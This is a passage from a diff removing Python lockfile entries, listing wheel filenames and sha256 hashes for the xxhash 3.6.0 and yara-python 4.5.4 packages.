"sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd"}, - {file = "xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799"}, - {file = "xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392"}, - {file = "xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033"}, - {file = "xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5"}, - {file = "xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f"}, - {file = "xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad"}, - {file = "xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518"}, - {file = "xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7dac94fad14a3d1c92affb661021e1d5cbcf3876be5f5b4d90730775ccb7ac41"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6965e0e90f1f0e6cb78da568c13d4a348eeb7f40acfd6d43690a666a459458b8"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2ab89a6b80f22214b43d98693c30da66af910c04f9858dd39c8e570749593d7e"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4903530e866b7a9c1eadfd3fa2fbe1b97d3aed4739a80abf506eb9318561c850"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4da8168ae52c01ac64c511d6f4a709479da8b7a4a1d7621ed51652f93747dffa"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97460eec202017f719e839a0d3551fbc0b2fcc9c6c6ffaa5af85bbd5de432788"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:45aae0c9df92e7fa46fbb738737324a563c727990755ec1965a6a339ea10a1df"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:0d50101e57aad86f4344ca9b32d091a2135a9d0a4396f19133426c88025b09f1"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9085e798c163ce310d91f8aa6b325dda3c2944c93c6ce1edb314030d4167cc65"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:a87f271a33fad0e5bf3be282be55d78df3a45ae457950deb5241998790326f87"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:9e040d3e762f84500961791fa3709ffa4784d4dcd7690afc655c095e02fff05f"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b0359391c3dad6de872fefb0cf5b69d55b0655c55ee78b1bb7a568979b2ce96b"}, - {file = "xxhash-3.6.0-cp38-cp38-win32.whl", hash = "sha256:e4ff728a2894e7f436b9e94c667b0f426b9c74b71f900cf37d5468c6b5da0536"}, - {file = "xxhash-3.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:01be0c5b500c5362871fc9cfdf58c69b3e5c4f531a82229ddb9eb1eb14138004"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc604dc06027dbeb8281aeac5899c35fcfe7c77b25212833709f0bff4ce74d2a"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:277175a73900ad43a8caeb8b99b9604f21fe8d7c842f2f9061a364a7e220ddb7"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cfbc5b91397c8c2972fdac13fb3e4ed2f7f8ccac85cd2c644887557780a9b6e2"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2762bfff264c4e73c0e507274b40634ff465e025f0eaf050897e88ec8367575d"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f171a900d59d51511209f7476933c34a0c2c711078d3c80e74e0fe4f38680ec"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:780b90c313348f030b811efc37b0fa1431163cb8db8064cf88a7936b6ce5f222"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b242455eccdfcd1fa4134c431a30737d2b4f045770f8fe84356b3469d4b919"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a75ffc1bd5def584129774c158e108e5d768e10b75813f2b32650bb041066ed6"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1fc1ed882d1e8df932a66e2999429ba6cc4d5172914c904ab193381fba825360"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:44e342e8cc11b4e79dae5c57f2fb6360c3c20cc57d32049af8f567f5b4bcb5f4"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c2f9ccd5c4be370939a2e17602fbc49995299203da72a3429db013d44d590e86"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02ea4cb627c76f48cd9fb37cf7ab22bd51e57e1b519807234b473faebe526796"}, - {file = "xxhash-3.6.0-cp39-cp39-win32.whl", hash = "sha256:6551880383f0e6971dc23e512c9ccc986147ce7bfa1cd2e4b520b876c53e9f3d"}, - {file = "xxhash-3.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:7c35c4cdc65f2a29f34425c446f2f5cdcd0e3c34158931e1cc927ece925ab802"}, - {file = "xxhash-3.6.0-cp39-cp39-win_arm64.whl", hash = "sha256:ffc578717a347baf25be8397cb10d2528802d24f94cfc005c0e44fef44b5cdd6"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d"}, - {file = "xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6"}, -] - -[[package]] -name = "yara-python" -version = "4.5.4" -description = "Python interface for YARA" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125"}, - {file = "yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1"}, - {file = "yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5"}, - {file = "yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4"}, - {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97"}, - {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080"}, - {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d"}, - {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98"}, - {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7"}, - {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d"}, - {file = "yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f"}, - {file = "yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42"}, - {file = "yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de"}, - {file = "yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95"}, - {file = "yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc"}, - {file = "yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84"}, - {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a"}, - {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd"}, - {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3"}, - {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678"}, - {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc"}, - {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df"}, - {file = "yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce"}, - {file = "yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b"}, - {file = "yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace"}, - {file = "yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c"}, - {file = "yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2"}, - {file = "yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89"}, - {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7"}, - {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd"}, - {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24"}, - {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e"}, - {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf"}, - {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6"}, - {file = "yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77"}, - {file = "yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47"}, - {file = "yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4"}, - {file = "yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b"}, - {file = "yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c"}, - {file = "yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c"}, - {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a"}, - {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543"}, - {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71"}, - {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f"}, - {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47"}, - {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78"}, - {file = "yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0"}, - {file = "yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829"}, - {file = "yara_python-4.5.4-cp39-cp39-macosx_14_0_arm64.whl", hash = "sha256:7205c36a6798251925e4c1763eba0737fec7a95360df8aaa4e74e2f2f6b5cdcf"}, - {file = "yara_python-4.5.4-cp39-cp39-macosx_14_0_x86_64.whl", hash = "sha256:9c77711a4e469ea97bdd16e85b5ab0720d6a481862a540ea7216897a10e93d19"}, - {file = "yara_python-4.5.4-cp39-cp39-macosx_15_0_arm64.whl", hash = "sha256:9e6f0ca64cf9b0125be8fe8b821ba7e0f80427bcee136f83914dff0d81b4f27a"}, - {file = "yara_python-4.5.4-cp39-cp39-macosx_15_0_x86_64.whl", hash = "sha256:8caad9de64dc4fc9614f331a04ea220d57aea3fbf997f3e23a298ee67cf4a69c"}, - {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d5fcf99187cb6ec0a27c755aec22774a1ea578fdc2a5734f484c601de4ad6c0"}, - {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdbb62003cced7739d5c98c5af7a08c819baedf12e09276b2bbf0f3cb47828af"}, - {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f901ec61db76a326f77882c8000139b29f218a7c6b8dd997195bab265602345"}, - {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:99f8d1145c11f61340fcd19fd6f3f3ef6306910829f4218daece45e831ceb54e"}, - {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:da826f12c6fa459c6b2f9e7dff3a57416ac3a6536264f7a10d1ff839d4bc943f"}, - {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:ebacf0b3325b3fb6f15bc3526f39f39c3576bafa4857493cc90afd2651ec8d36"}, - {file = "yara_python-4.5.4-cp39-cp39-win32.whl", hash = "sha256:e6eba7d4387f8123dd69852ba6776799150c4019fcb3e1212a3b053d42e151ab"}, - {file = "yara_python-4.5.4-cp39-cp39-win_amd64.whl", hash = "sha256:9addd1d6fe9d3b1efe40c7a37fa5d88fe6cd7e22c7e454617beb382c9c74b11b"}, - {file = "yara_python-4.5.4.tar.gz", hash = 